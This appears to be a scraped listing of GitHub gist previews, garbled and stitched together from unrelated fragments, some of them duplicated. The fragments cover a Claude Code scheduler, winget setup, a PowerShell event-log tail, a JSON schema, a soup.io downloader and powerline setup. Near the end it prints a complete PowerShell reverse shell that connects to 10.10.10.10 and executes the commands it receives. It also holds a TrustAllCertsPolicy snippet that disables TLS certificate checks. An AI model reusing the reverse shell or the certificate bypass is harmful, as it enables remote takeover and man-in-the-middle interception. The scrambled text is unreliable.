This will start a Claude Code session, so you can optmize the 5 hour token limit window. It will start at the scheduled time or as soon as you log in to your machine.
Tested on Ubuntu 24.04 with nvm.
Create the 2 files from this gist in:
This will start a Claude Code session, so you can optmize the 5 hour token limit window. It will start at the scheduled time or as soon as you log in to your machine.
Tested on Ubuntu 24.04 with nvm.
Create the 2 files from this gist in:
Execute the following in Windows PowerShell (PowerShell 7 doesn't support the Appx module)
#Update versions, see https://github.com/microsoft/microsoft-ui-xaml/releases (grab Microsoft.UI.Xaml Winget may require a specific version) | Function Get-WinEventTail | |
| { | |
| <# | |
| .SYNOPSIS | |
| A tail cmdlet for Eventlogs | |
| .DESCRIPTION | |
| This function will allow you to tail Windows Event Logs. You specify | |
| a Logname for either the original logs, Application, System and Security or | |
| the new format for the newer logs Microsoft-Windows-PowerShell/Operational | |
| .PARAMETER LogName |
| { | |
| "$schema": "http://json-schema.org/draft-07/schema", | |
| "title": "Character", | |
| "description": "An exported character object from Optolith. Properties that are intended for external use only and thus are ignored when imported by Optolith are marked as read-only.", | |
| "type": "object", | |
| "properties": { | |
| "version": { | |
| "title": "Optolith Version", | |
| "description": "A valid semantic version (https://semver.org), representing the Optolith version this character was created with.", | |
| "type": "string", |
| #!/usr/bin/env bash | |
| # Author: Mike Herwig | |
| # Description: Script for downloading all images posted on a soup (soup.io) | |
| #where to download from | |
| HOST="suckup.soup.io" | |
| #this is the regex for matching the images, you might want to update it when soup.io changes their urls | |
| # 2017-02-14: Updated regex to catch new and old URLs |
Install powerline
sudo apt install powerline source /usr/share/powerline/bindings/bash/powerline.sh
Download and install fonts
git clone https://github.com/powerline/fonts.git && cd fonts && sh ./install.sh
Add this lines to .bashrc file if bash is what you use. You could add to other files like .zshrc etc. I use bash so there. This ensures that this switch is automatic when you start bash
.bashrc > if [ -f /usr/share/powerline/bindings/bash/powerline.sh ]; then
| add-type @" | |
| using System.Net; | |
| using System.Security.Cryptography.X509Certificates; | |
| public class TrustAllCertsPolicy : ICertificatePolicy { | |
| public bool CheckValidationResult( | |
| ServicePoint srvPoint, X509Certificate certificate, | |
| WebRequest request, int certificateProblem) { | |
| return true; | |
| } | |
| } |
| Function Get-WinEventTail | |
| { | |
| <# | |
| .SYNOPSIS | |
| A tail cmdlet for Eventlogs | |
| .DESCRIPTION | |
| This function will allow you to tail Windows Event Logs. You specify | |
| a Logname for either the original logs, Application, System and Security or | |
| the new format for the newer logs Microsoft-Windows-PowerShell/Operational | |
| .PARAMETER LogName |
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
This document is now at https://gbdev.io/guides/tools.html, please go there instead. It's kept here to avoid breaking links and to preserve history.
Previous versions can be checked out by selecting the "Revisions" tab, and selecting "View file" in the three-dot drop-down menu.